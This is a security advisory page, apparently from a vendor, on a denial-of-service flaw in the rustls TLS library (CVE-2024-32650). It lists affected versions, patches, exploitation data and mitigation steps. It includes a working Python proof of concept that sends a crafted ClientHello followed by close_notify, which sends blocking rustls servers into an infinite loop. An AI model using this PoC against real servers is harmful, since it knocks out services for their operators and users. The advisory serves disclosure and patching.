Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀
🦀 crates.io
Not in CISA KEV
HIGH severity

GHSA-6g7w-8wpp-frhj rustls

HIGHFix: rustls/rustls@2123576

GHSA-6g7w-8wpp-frhj is a high-severity (CVSS 7.5) CWE-835 vulnerability in rustls. A fix is available for rustls — see the affected versions and patch details below.

Denial of Service Vulnerability in Rustls Library

Also known asCVE-2024-32650RUSTSEC-2024-0336
Published
Apr 19, 2024
Updated
Sep 10, 2026
Affected
4 pkgs
Patched
3 / 4
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-6g7w-8wpp-frhj.

EPSS Exploitation Probability

via FIRST.org ↗
0.9%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs59th percentile — riskier than 59% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-6g7w-8wpp-frhj plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

4 pkgs affected
🦀rustls🦀rustls🦀rustls🦀rustls

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

  • eof: false
  • until_handshaked: true
  • self.is_handshaking(): true
  • self.wants_write(): false
  • self.wants_read(): false

PoC

  1. Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key
  2. Run following python script
    #!/usr/bin/env python3
    
    import socket
    
    sock = socket.socket()
    sock.connect(("localhost", 4443))
    
    print("Sending client hello...")
    
    # Fake handshake data of a client hello message.
    fake_handshake = """
    1603 0100 c801 0000 c403 03ec 12dd
    1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
    a051 f03c b817 470d 4c54 c5df 7200 001c
    eaea c02b c02f c02c c030 cca9 cca8 c013
    c014 009c 009d 002f 0035 000a 0100 007f
    dada 0000 ff01 0001 0000 0000 1600 1400
    0011 7777 772e 7769 6b69 7065 6469 612e
    6f72 6700 1700 0000 2300 0000 0d00 1400
    1204 0308 0404 0105 0308 0505 0108 0606
    0102 0100 0500 0501 0000 0000 0012 0000
    0010 000e 000c 0268 3208 6874 7470 2f31
    2e31 7550 0000 000b 0002 0100 000a 000a
    0008 1a1a 001d 0017 0018 1a1a 0001 00
    """
    
    
    def parse_fake_handshake():
        i = 0
        data = bytearray()
        while i < len(fake_handshake):
            while i < len(fake_handshake) and fake_handshake[i].isspace():
                i += 1
            if i >= len(fake_handshake):
                return data
    
            c1 = fake_handshake[i]
            c2 = fake_handshake[i + 1]
            i += 2
    
            data.append(int(c1, 16) * 16 + int(c2, 16))
        return data
    
    
    data = parse_fake_handshake()
    
    print("Fake client hello:", data)
    
    sock.send(data)
    
    # Send close_notify alert that we're closing the connection.
    close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
    print(f"close_notify is {close_data}")
    sock.send(close_data)
    print("close_notify sent")
    
    exit(0)
    
  3. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Affected Packages

4 total 3 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iorustls0.23.0&&< 0.23.50.23.5cargo update -p rustls --precise 0.23.5
🦀crates.iorustls0.22.0&&< 0.22.40.22.4cargo update -p rustls --precise 0.22.4
🦀crates.iorustls0.21.0&&< 0.21.110.21.11cargo update -p rustls --precise 0.21.11
🦀crates.iorustlsall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rustls, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update rustls to 0.23.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6g7w-8wpp-frhj is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-6g7w-8wpp-frhj can be triaged on real exposure rather than presence alone.

Tailored to GHSA-6g7w-8wpp-frhj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. ### Details Verified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop where: - `eof`: false - `until_handshaked`: tr
O3 Security · Impact-Aware SCA

Is GHSA-6g7w-8wpp-frhj in your dependencies?

O3 Security finds GHSA-6g7w-8wpp-frhj across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-6g7w-8wpp-frhj: rustls DoS (High 7.5) | O3 Security